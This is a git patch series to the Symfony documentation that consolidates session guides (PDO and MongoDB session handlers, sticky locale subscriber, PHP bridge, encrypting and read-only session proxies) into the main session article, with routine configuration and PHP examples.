-        in Symfony 5.3.
-
-Next, use the :ref:`handler_id <config-framework-session-handler-id>`
-configuration option to tell Symfony to use this service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session
-                handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(PdoSessionHandler::class)
-            ;
-        };
-
-Configuring the Session Table and Column Names
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The table used to store sessions is called ``sessions`` by default and defines
-certain column names. You can configure these values with the second argument
-passed to the ``PdoSessionHandler`` service:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
-                arguments:
-                    - '%env(DATABASE_URL)%'
-                    - { db_table: 'customer_session', db_id_col: 'guid' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>%env(DATABASE_URL)%</argument>
-                    <argument type="collection">
-                        <argument key="db_table">customer_session</argument>
-                        <argument key="db_id_col">guid</argument>
-                    </argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(PdoSessionHandler::class)
-                ->args([
-                    env('DATABASE_URL'),
-                    ['db_table' => 'customer_session', 'db_id_col' => 'guid'],
-                ])
-            ;
-        };
-
-These are parameters that you can configure:
-
-``db_table`` (default ``sessions``):
-    The name of the session table in your database;
-
-``db_username``: (default: ``''``)
-    The username used to connect when using the PDO configuration (when using
-    the connection based on the ``DATABASE_URL`` env var, it overrides the
-    username defined in the env var).
-
-``db_password``: (default: ``''``)
-    The password used to connect when using the PDO configuration (when using
-    the connection based on the ``DATABASE_URL`` env var, it overrides the
-    password defined in the env var).
-
-``db_id_col`` (default ``sess_id``):
-    The name of the column where to store the session ID (column type: ``VARCHAR(128)``);
-
-``db_data_col`` (default ``sess_data``):
-    The name of the column where to store the session data (column type: ``BLOB``);
-
-``db_time_col`` (default ``sess_time``):
-    The name of the column where to store the session creation timestamp (column type: ``INTEGER``);
-
-``db_lifetime_col`` (default ``sess_lifetime``):
-    The name of the column where to store the session lifetime (column type: ``INTEGER``);
-
-``db_connection_options`` (default: ``[]``)
-    An array of driver-specific connection options;
-
-``lock_mode`` (default: ``LOCK_TRANSACTIONAL``)
-    The strategy for locking the database to avoid *race conditions*. Possible
-    values are ``LOCK_NONE`` (no locking), ``LOCK_ADVISORY`` (application-level
-    locking) and ``LOCK_TRANSACTIONAL`` (row-level locking).
-
-Preparing the Database to Store Sessions
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Before storing sessions in the database, you must create the table that stores
-the information. The session handler provides a method called
-:method:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler::createTable`
-to set up this table for you according to the database engine used::
-
-    try {
-        $sessionHandlerService->createTable();
-    } catch (\PDOException $exception) {
-        // the table could not be created for some reason
-    }
-
-If you prefer to set up the table yourself, it's recommended to generate an
-empty database migration with the following command:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:generate
-
-Then, find the appropriate SQL for your database below, add it to the migration
-file and run the migration with the following command:
-
-.. code-block:: terminal
-
-    $ php bin/console doctrine:migrations:migrate
-
-.. _mysql:
-
-MariaDB/MySQL
-.............
-
-.. code-block:: sql
-
-    CREATE TABLE `sessions` (
-        `sess_id` VARBINARY(128) NOT NULL PRIMARY KEY,
-        `sess_data` BLOB NOT NULL,
-        `sess_lifetime` INTEGER UNSIGNED NOT NULL,
-        `sess_time` INTEGER UNSIGNED NOT NULL,
-        INDEX `sessions_sess_lifetime_idx` (`sess_lifetime`)
-    ) COLLATE utf8mb4_bin, ENGINE = InnoDB;
-
-.. note::
-
-    A ``BLOB`` column type (which is the one used by default by ``createTable()``)
-    stores up to 64 kb. If the user session data exceeds this, an exception may
-    be thrown or their session will be silently reset. Consider using a ``MEDIUMBLOB``
-    if you need more space.
-
-PostgreSQL
-..........
-
-.. code-block:: sql
-
-    CREATE TABLE sessions (
-        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data BYTEA NOT NULL,
-        sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL
-    );
-    CREATE INDEX sessions_sess_lifetime_idx ON sessions (sess_lifetime);
-
-Microsoft SQL Server
-....................
-
-.. code-block:: sql
-
-    CREATE TABLE sessions (
-        sess_id VARCHAR(128) NOT NULL PRIMARY KEY,
-        sess_data NVARCHAR(MAX) NOT NULL,
-        sess_lifetime INTEGER NOT NULL,
-        sess_time INTEGER NOT NULL,
-        INDEX sessions_sess_lifetime_idx (sess_lifetime)
-    );
-
-Store Sessions in a NoSQL Database (MongoDB)
---------------------------------------------
-
-Symfony includes a :class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`
-to store sessions in the MongoDB NoSQL database. First, make sure to have a
-working MongoDB connection in your Symfony application as explained in the
-`DoctrineMongoDBBundle configuration`_ article.
-
-Then, register a new handler service for ``MongoDbSessionHandler`` and pass it
-the MongoDB connection as argument:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
-                arguments:
-                    - '@doctrine_mongodb.odm.default_connection'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
-                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(MongoDbSessionHandler::class)
-                ->args([
-                    service('doctrine_mongodb.odm.default_connection'),
-                ])
-            ;
-        };
-
-Next, use the :ref:`handler_id <config-framework-session-handler-id>`
-configuration option to tell Symfony to use this service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session
-                handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(MongoDbSessionHandler::class)
-            ;
-        };
-
-.. note::
-
-    MongoDB ODM 1.x only works with the legacy driver, which is no longer
-    supported by the Symfony session class. Install the ``alcaeus/mongo-php-adapter``
-    package to retrieve the underlying ``\MongoDB\Client`` object or upgrade to
-    MongoDB ODM 2.0.
-
-That's all! Symfony will now use your MongoDB server to read and write the
-session data. You do not need to do anything to initialize your session
-collection. However, you may want to add an index to improve garbage collection
-performance. Run this from the `MongoDB shell`_:
-
-.. code-block:: javascript
-
-    use session_db
-    db.session.createIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
-
-Configuring the Session Field Names
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The collection used to store sessions defines certain field names. You can
-configure these values with the second argument passed to the
-``MongoDbSessionHandler`` service:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler:
-                arguments:
-                    - '@doctrine_mongodb.odm.default_connection'
-                    - { id_field: '_guid', 'expiry_field': 'eol' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
-                    <argument type="service">doctrine_mongodb.odm.default_connection</argument>
-                    <argument type="collection">
-                        <argument key="id_field">_guid</argument>
-                        <argument key="expiry_field">eol</argument>
-                    </argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
-
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
-
-            $services->set(MongoDbSessionHandler::class)
-                ->args([
-                    service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
-                ])
-            ;
-        };
-
-These are parameters that you can configure:
-
-``id_field`` (default ``_id``):
-    The name of the field where to store the session ID;
-
-``data_field`` (default ``data``):
-    The name of the field where to store the session data;
-
-``time_field`` (default ``time``):
-    The name of the field where to store the session creation timestamp;
-
-``expiry_field`` (default ``expires_at``):
-    The name of the field where to store the session lifetime.
-
-.. _`phpredis extension`: https://github.com/phpredis/phpredis
-.. _`DoctrineMongoDBBundle configuration`: https://symfony.com/doc/master/bundles/DoctrineMongoDBBundle/config.html
-.. _`MongoDB shell`: https://docs.mongodb.com/manual/mongo/
diff --git a/session/locale_sticky_session.rst b/session/locale_sticky_session.rst
deleted file mode 100644
index 483c581adb9..00000000000
--- a/session/locale_sticky_session.rst
+++ /dev/null
@@ -1,188 +0,0 @@
-.. index::
-    single: Sessions, saving locale
-
-Making the Locale "Sticky" during a User's Session
-==================================================
-
-Symfony stores the locale setting in the Request, which means that this setting
-is not automatically saved ("sticky") across requests. But, you *can* store the locale
-in the session, so that it's used on subsequent requests.
-
-.. _creating-a-LocaleSubscriber:
-
-Creating a LocaleSubscriber
----------------------------
-
-Create a :ref:`new event subscriber <events-subscriber>`. Typically, ``_locale``
-is used as a routing parameter to signify the locale, though you can determine the
-correct locale however you want::
-
-    // src/EventSubscriber/LocaleSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class LocaleSubscriber implements EventSubscriberInterface
-    {
-        private $defaultLocale;
-
-        public function __construct(string $defaultLocale = 'en')
-        {
-            $this->defaultLocale = $defaultLocale;
-        }
-
-        public function onKernelRequest(RequestEvent $event)
-        {
-            $request = $event->getRequest();
-            if (!$request->hasPreviousSession()) {
-                return;
-            }
-
-            // try to see if the locale has been set as a _locale routing parameter
-            if ($locale = $request->attributes->get('_locale')) {
-                $request->getSession()->set('_locale', $locale);
-            } else {
-                // if no explicit locale has been set on this request, use one from the session
-                $request->setLocale($request->getSession()->get('_locale', $this->defaultLocale));
-            }
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                // must be registered before (i.e. with a higher priority than) the default Locale listener
-                KernelEvents::REQUEST => [['onKernelRequest', 20]],
-            ];
-        }
-    }
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-you're done! Symfony will automatically know about the event subscriber and call
-the ``onKernelRequest`` method on each request.
-
-To see it working, either set the ``_locale`` key on the session manually (e.g.
-via some "Change Locale" route & controller), or create a route with the :ref:`_locale default <translation-locale-url>`.
-
-.. sidebar:: Explicitly Configure the Subscriber
-
-    You can also explicitly configure it, in order to pass in the :ref:`default_locale <config-framework-default_locale>`:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/services.yaml
-            services:
-                # ...
-
-                App\EventSubscriber\LocaleSubscriber:
-                    arguments: ['%kernel.default_locale%']
-                    # uncomment the next line if you are not using autoconfigure
-                    # tags: [kernel.event_subscriber]
-
-        .. code-block:: xml
-
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-                <services>
-                    <service id="App\EventSubscriber\LocaleSubscriber">
-                        <argument>%kernel.default_locale%</argument>
-
-                        <!-- uncomment the next line if you are not using autoconfigure -->
-                        <!-- <tag name="kernel.event_subscriber"/> -->
-                    </service>
-                </services>
-            </container>
-
-        .. code-block:: php
-
-            // config/services.php
-            use App\EventSubscriber\LocaleSubscriber;
-
-            $container->register(LocaleSubscriber::class)
-                ->addArgument('%kernel.default_locale%')
-                // uncomment the next line if you are not using autoconfigure
-                // ->addTag('kernel.event_subscriber')
-            ;
-
-That's it! Now celebrate by changing the user's locale and seeing that it's
-sticky throughout the request.
-
-Remember, to get the user's locale, always use the :method:`Request::getLocale <Symfony\\Component\\HttpFoundation\\Request::getLocale>`
-method::
-
-    // from a controller...
-    use Symfony\Component\HttpFoundation\Request;
-
-    public function index(Request $request)
-    {
-        $locale = $request->getLocale();
-    }
-
-Setting the Locale Based on the User's Preferences
---------------------------------------------------
-
-You might want to improve this technique even further and define the locale based on
-the user entity of the logged in user. However, since the ``LocaleSubscriber`` is called
-before the ``FirewallListener``, which is responsible for handling authentication and
-setting the user token on the ``TokenStorage``, you have no access to the user
-which is logged in.
-
-Suppose you have a ``locale`` property on your ``User`` entity and
-want to use this as the locale for the given user. To accomplish this,
-you can hook into the login process and update the user's session with this
-locale value before they are redirected to their first page.
-
-To do this, you need an event subscriber on the ``security.interactive_login``
-event::
-
-    // src/EventSubscriber/UserLocaleSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\RequestStack;
-    use Symfony\Component\Security\Http\Event\InteractiveLoginEvent;
-    use Symfony\Component\Security\Http\SecurityEvents;
-
-    /**
-     * Stores the locale of the user in the session after the
-     * login. This can be used by the LocaleSubscriber afterwards.
-     */
-    class UserLocaleSubscriber implements EventSubscriberInterface
-    {
-        private $requestStack;
-
-        public function __construct(RequestStack $requestStack)
-        {
-            $this->requestStack = $requestStack;
-        }
-
-        public function onInteractiveLogin(InteractiveLoginEvent $event)
-        {
-            $user = $event->getAuthenticationToken()->getUser();
-
-            if (null !== $user->getLocale()) {
-                $this->requestStack->getSession()->set('_locale', $user->getLocale());
-            }
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
-            ];
-        }
-    }
-
-.. caution::
-
-    In order to update the language immediately after a user has changed
-    their language preferences, you also need to update the session when you change
-    the ``User`` entity.
diff --git a/session/php_bridge.rst b/session/php_bridge.rst
deleted file mode 100644
index a0fbfc8e06b..00000000000
--- a/session/php_bridge.rst
+++ /dev/null
@@ -1,108 +0,0 @@
-.. index::
-   single: Sessions
-
-Bridge a legacy Application with Symfony Sessions
-=================================================
-
-If you're integrating the Symfony full-stack Framework into a legacy application
-that starts the session with ``session_start()``, you may still be able to
-use Symfony's session management by using the PHP Bridge session.
-
-If the application has its own PHP save handler, you can specify null
-for the ``handler_id``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                storage_factory_id: session.storage.factory.php_bridge
-                handler_id: ~
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <framework:config>
-                <framework:session storage-factory-id="session.storage.factory.php_bridge"
-                    handler-id="null"
-                />
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->session()
-                ->storageFactoryId('session.storage.factory.php_bridge')
-                ->handlerId(null)
-            ;
-        };
-
-Otherwise, if the problem is that you cannot avoid the application
-starting the session with ``session_start()``, you can still make use of
-a Symfony based session save handler by specifying the save handler as in
-the example below:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                storage_factory_id: session.storage.factory.php_bridge
-                handler_id: session.handler.native_file
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <framework:config>
-                <framework:session storage-id="session.storage.php_bridge"
-                    handler-id="session.storage.native_file"
-                />
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            $framework->session()
-                ->storageFactoryId('session.storage.factory.php_bridge')
-                ->handlerId('session.storage.native_file')
-            ;
-        };
-
-.. note::
-
-    If the legacy application requires its own session save handler, do not
-    override this. Instead set ``handler_id: ~``. Note that a save handler
-    cannot be changed once the session has been started. If the application
-    starts the session before Symfony is initialized, the save handler will
-    have already been set. In this case, you will need ``handler_id: ~``.
-    Only override the save handler if you are sure the legacy application
-    can use the Symfony save handler without side effects and that the session
-    has not been started before Symfony is initialized.
-
-For more details, see :doc:`/components/http_foundation/session_php_bridge`.
diff --git a/session/proxy_examples.rst b/session/proxy_examples.rst
deleted file mode 100644
index 67d46adb27b..00000000000
--- a/session/proxy_examples.rst
+++ /dev/null
@@ -1,145 +0,0 @@
-.. index::
-   single: Sessions, Session Proxy, Proxy
-
-Session Proxy Examples
-======================
-
-The session proxy mechanism has a variety of uses and this article demonstrates
-two common uses. Rather than using the regular session handler, you can create
-a custom save handler by defining a class that extends the
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Proxy\\SessionHandlerProxy`
-class.
-
-Then, define the class as a :ref:`service <service-container-creating-service>`.
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-that happens automatically.
-
-Finally, use the ``framework.session.handler_id`` configuration option to tell
-Symfony to use your session handler instead of the default one:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: App\Session\CustomSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <framework:config>
-                <framework:session handler-id="App\Session\CustomSessionHandler"/>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use App\Session\CustomSessionHandler;
-        use Symfony\Config\FrameworkConfig;
-
-        return static function (FrameworkConfig $framework) {
-            // ...
-            $framework->session()
-                ->handlerId(CustomSessionHandler::class)
-            ;
-        };
-
-Keep reading the next sections to learn how to use the session handlers in practice
-to solve two common use cases: encrypt session information and define read-only
-guest sessions.
-
-Encryption of Session Data
---------------------------
-
-If you want to encrypt the session data, you can use the proxy to encrypt and
-decrypt the session as required. The following example uses the `php-encryption`_
-library, but you can adapt it to any other library that you may be using::
-
-    // src/Session/EncryptedSessionProxy.php
-    namespace App\Session;
-
-    use Defuse\Crypto\Crypto;
-    use Defuse\Crypto\Key;
-    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
-
-    class EncryptedSessionProxy extends SessionHandlerProxy
-    {
-        private $key;
-
-        public function __construct(\SessionHandlerInterface $handler, Key $key)
-        {
-            $this->key = $key;
-
-            parent::__construct($handler);
-        }
-
-        public function read($id)
-        {
-            $data = parent::read($id);
-
-            return Crypto::decrypt($data, $this->key);
-        }
-
-        public function write($id, $data)
-        {
-            $data = Crypto::encrypt($data, $this->key);
-
-            return parent::write($id, $data);
-        }
-    }
-
-Read-only Guest Sessions
-------------------------
-
-There are some applications where a session is required for guest users, but
-where there is no particular need to persist the session. In this case you
-can intercept the session before it is written::
-
-    // src/Session/ReadOnlySessionProxy.php
-    namespace App\Session;
-
-    use App\Entity\User;
-    use Symfony\Component\HttpFoundation\Session\Storage\Proxy\SessionHandlerProxy;
-    use Symfony\Component\Security\Core\Security;
-
-    class ReadOnlySessionProxy extends SessionHandlerProxy
-    {
-        private $security;
-
-        public function __construct(\SessionHandlerInterface $handler, Security $security)
-        {
-            $this->security = $security;
-
-            parent::__construct($handler);
-        }
-
-        public function write($id, $data)
-        {
-            if ($this->getUser() && $this->getUser()->isGuest()) {
-                return;
-            }
-
-            return parent::write($id, $data);
-        }
-
-        private function getUser()
-        {
-            $user = $this->security->getUser();
-            if (is_object($user)) {
-                return $user;
-            }
-        }
-    }
-
-.. _`php-encryption`: https://github.com/defuse/php-encryption
diff --git a/translation.rst b/translation.rst
index d58b1c6e173..b11136dffb6 100644
--- a/translation.rst
+++ b/translation.rst
@@ -39,7 +39,7 @@ The translation process has several steps:
 
 #. Determine, :doc:`set and manage the user's locale </translation/locale>`
    for the request and optionally
-   :doc:`on the user's entire session </session/locale_sticky_session>`.
+   :ref:`on the user's entire session <locale-sticky-session>`.
 
 Installation
 ------------
diff --git a/translation/locale.rst b/translation/locale.rst
index d4a28f74961..efd7cc077a2 100644
--- a/translation/locale.rst
+++ b/translation/locale.rst
@@ -33,8 +33,8 @@ it::
     listener priority to a higher value than ``LocaleListener`` priority (which
     you can obtain by running the ``debug:event kernel.request`` command).
 
-Read :doc:`/session/locale_sticky_session` for more information on making
-the user's locale "sticky" to their session.
+Read :ref:`locale-sticky-session` for more information on making the user's
+locale "sticky" to their session.
 
 .. note::
 

From 0c5fe69750fe0f11f60e72fb1160d85a14815cf2 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 7 Jan 2023 12:21:03 +0100
Subject: [PATCH 2700/5766] Minor fixes after review

---
 session.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/session.rst b/session.rst
index 2d6c9cd2012..aa40cbb20e0 100644
--- a/session.rst
+++ b/session.rst
@@ -513,7 +513,7 @@ a Symfony service for the connection to the Redis server:
                     # uncomment the following if your Redis server requires a password
                     # - auth:
                     #     - '%env(REDIS_PASSWORD)%'
-                    
+
                     # uncomment the following if your Redis server requires a user and a password (when user is not default)
                     # - auth:
                     #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
@@ -677,7 +677,7 @@ To use it, first register a new handler service with your database credentials:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler">
                     <argument>%env(DATABASE_URL)%</argument>
 
                     <!-- you can also use PDO configuration, but requires passing two arguments: -->
@@ -697,8 +697,8 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -795,7 +795,7 @@ passed to the ``PdoSessionHandler`` service:
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler">
                     <argument>%env(DATABASE_URL)%</argument>
                     <argument type="collection">
                         <argument key="db_table">customer_session</argument>
@@ -812,8 +812,8 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(PdoSessionHandler::class)
                 ->args([
@@ -972,7 +972,7 @@ the MongoDB connection as argument:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
                 </service>
             </services>
@@ -985,8 +985,8 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfiguratorConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([
@@ -1087,7 +1087,7 @@ configure these values with the second argument passed to the
                 https://symfony.com/schema/dic/services/services-1.0.xsd">
 
             <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler" public="false">
+                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler">
                     <argument type="service">doctrine_mongodb.odm.default_connection</argument>
                     <argument type="collection">
                         <argument key="id_field">_guid</argument>
@@ -1104,8 +1104,8 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(MongoDbSessionHandler::class)
                 ->args([

From 9eb7378456cee69fc39a67b49eba0a2b2d588930 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 7 Jan 2023 12:58:30 +0100
Subject: [PATCH 2701/5766] Move subguides into main session article

---
 _build/redirection_map      |   1 +
 session.rst                 | 120 +++++++++++++++++++++++++++++++++++
 session/configuring_ttl.rst | 121 ------------------------------------
 3 files changed, 121 insertions(+), 121 deletions(-)
 delete mode 100644 session/configuring_ttl.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 83ff253c51b..9a9826d91f4 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -407,6 +407,7 @@
 /security/entity_provider /security/user_provider
 /session/avoid_session_start /session
 /session/sessions_directory /session
+/session/configuring_ttl /session#session-configure-ttl
 /frontend/encore/legacy-apps /frontend/encore/legacy-applications
 /configuration/external_parameters /configuration/environment_variables
 /contributing/code/patches /contributing/code/pull_requests
diff --git a/session.rst b/session.rst
index ba969dc9187..0779199fdfb 100644
--- a/session.rst
+++ b/session.rst
@@ -1150,6 +1150,126 @@ This is the recommended migration workflow:
 #. After verifying that the sessions in your application are working, switch
    from the migrating handler to the new handler.
 
+.. _session-configure-ttl:
+
+.. index::
+    single: Sessions, defining TTL
+
+Configuring the Session TTL
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony by default will use PHP's ini setting ``session.gc_maxlifetime`` as
+session lifetime. When you store sessions in a database, you can also
